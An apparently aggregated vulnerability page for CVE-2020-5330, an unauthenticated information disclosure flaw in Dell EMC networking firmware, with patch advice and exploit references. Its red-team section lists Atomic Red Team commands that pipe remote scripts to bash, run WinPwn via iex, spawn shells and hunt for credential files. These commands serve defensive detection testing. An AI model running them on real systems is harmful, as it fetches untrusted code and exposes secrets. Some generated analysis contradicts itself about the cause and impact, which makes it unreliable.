CVE-2020-5330
Overview
This vulnerability is an information disclosure flaw rooted in improper access control within the firmware of Dell EMC Networking X-Series, PC5500, and PowerEdge VRTX Switch Modules. The affected components fail to adequately restrict unauthenticated requests, allowing remote attackers to interact with sensitive endpoints. The flaw resides in the network interface's request handling mechanism, which does not enforce sufficient authentication checks on certain management functions.
Vulnerability Description
Dell EMC Networking X-Series firmware versions 3.0.1.2 and older, Dell EMC Networking PC5500 firmware versions 4.1.0.22 and older and Dell EMC PowerEdge VRTX Switch Modules firmware versions 2.0.0.77 and older contain an information disclosure vulnerability. A remote unauthenticated attacker could exploit this vulnerability to retrieve sensitive data by sending a specially crafted request to the affected endpoints.
Impact
An unauthenticated remote attacker can exploit this vulnerability over the network to retrieve sensitive data from the affected Dell networking devices without requiring any user interaction. This can lead to unauthorized disclosure of confidential configuration or operational information, potentially facilitating further targeted attacks or network reconnaissance. The attack vector is network-based with no privileges or authentication needed, as reflected by the CVSS vector AV:N/AC:H/PR:N/UI:N, indicating high impact on confidentiality, integrity, and availability.
Solution
Dell has released security updates addressing this vulnerability in advisory DSA-2020-042. Users should upgrade affected Dell EMC Networking X-Series firmware to versions newer than 3.0.1.2, PC5500 firmware to versions newer than 4.1.0.22, and PowerEdge VRTX Switch Modules firmware to versions newer than 2.0.0.77. Detailed patch instructions and version-specific updates are available at Dell’s official support page: https://www.dell.com/support/article/en-us/sln320366/dsa-2020-042-dell-emc-networking-security-update-for-an-information-disclosure-vulnerability?lang=en. No workarounds are specified in the advisory.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The information disclosure vulnerability present in specific versions of Dell EMC Networking X-Series firmware, PC5500 firmware, and PowerEdge VRTX Switch Modules firmware allows unauthorized access to sensitive data. This flaw arises from improper validation of input data, which enables an unauthenticated remote attacker to craft specific requests that can exploit the affected endpoints. The vulnerability is particularly concerning as it does not require any form of authentication, making it accessible to any malicious actor with network access to the devices. The potential for data leakage is significant, as the attacker could retrieve sensitive configuration information, user credentials, or other critical data stored within the system.
Exploitation of this vulnerability can occur through various attack vectors, primarily focusing on network-based interactions. An attacker could employ techniques such as scanning for vulnerable devices within a network segment, followed by sending specially crafted requests to the identified endpoints. This could be achieved using common network tools or custom scripts designed to exploit the specific characteristics of the affected firmware versions. Once the attacker successfully retrieves sensitive information, they could leverage this data for further attacks, such as gaining unauthorized access to other systems, conducting social engineering attacks, or even launching more sophisticated intrusions.
The real-world impact of this vulnerability is substantial, particularly for organizations relying on the affected Dell EMC products for their networking infrastructure. The risk extends beyond mere data exposure; it can lead to reputational damage, regulatory penalties, and financial losses. For instance, if sensitive customer data is disclosed, organizations may face legal repercussions under data protection regulations such as GDPR or HIPAA. Additionally, the compromised data could be used for identity theft or fraud, further exacerbating the business risk. The potential for cascading effects, where one breach leads to further vulnerabilities being exploited, underscores the critical nature of addressing this issue promptly.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating firmware to the latest versions is essential, as manufacturers often release patches to address known vulnerabilities. Conducting routine security assessments, including vulnerability scanning and penetration testing, can help identify exposed systems and ensure that appropriate security measures are in place. Network segmentation and strict access controls can also limit exposure to potential attackers, reducing the risk of exploitation. Additionally, monitoring network traffic for unusual patterns can aid in the early detection of exploitation attempts, allowing organizations to respond swiftly to potential threats.
In summary, the information disclosure vulnerability in specific Dell EMC networking products poses a significant threat to organizations that utilize these systems. The ease of exploitation, combined with the potential for severe consequences, necessitates immediate attention from cybersecurity professionals. By adopting proactive detection and mitigation strategies, organizations can safeguard their sensitive data and maintain the integrity of their network infrastructure. The importance of staying informed about vulnerabilities and implementing robust security practices cannot be overstated in today’s increasingly complex threat landscape.
Affected Products (5)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Dell | R1-2210 Firmware | All |
cpe:2.3:o:dell:r1-2210_firmware:*:*:*:*:*:*:*:*
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Dell | R1-2401 Firmware | All |
cpe:2.3:o:dell:r1-2401_firmware:*:*:*:*:*:*:*:*
|
|
|
Dell | Pc5500 Firmware | All |
cpe:2.3:o:dell:pc5500_firmware:*:*:*:*:*:*:*:*
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|
|
Dell | X1000 Firmware | All |
cpe:2.3:o:dell:x1000_firmware:*:*:*:*:*:*:*:*
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Dell | X4012 Firmware | All |
cpe:2.3:o:dell:x4012_firmware:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Dell EMC Networking PC5500 firmware versions 4.1.0.22 and Cisco Sx / SMB - Information Disclosure | Ken Pyle | remote | hardware | - | View |
Threat Feed
1 eventsPublic exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-5330 |
| dell.com |
GitHub CVE
|
https://www.dell.com/support/article/en-us/sln320366/dsa-2020-042-dell-emc-networking-security-update-for-an-information-disclosure-vulnerability?lang=en |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/171723/Cisco-Dell-Netgear-Information-Disclosure-Hash-Decrypter.html |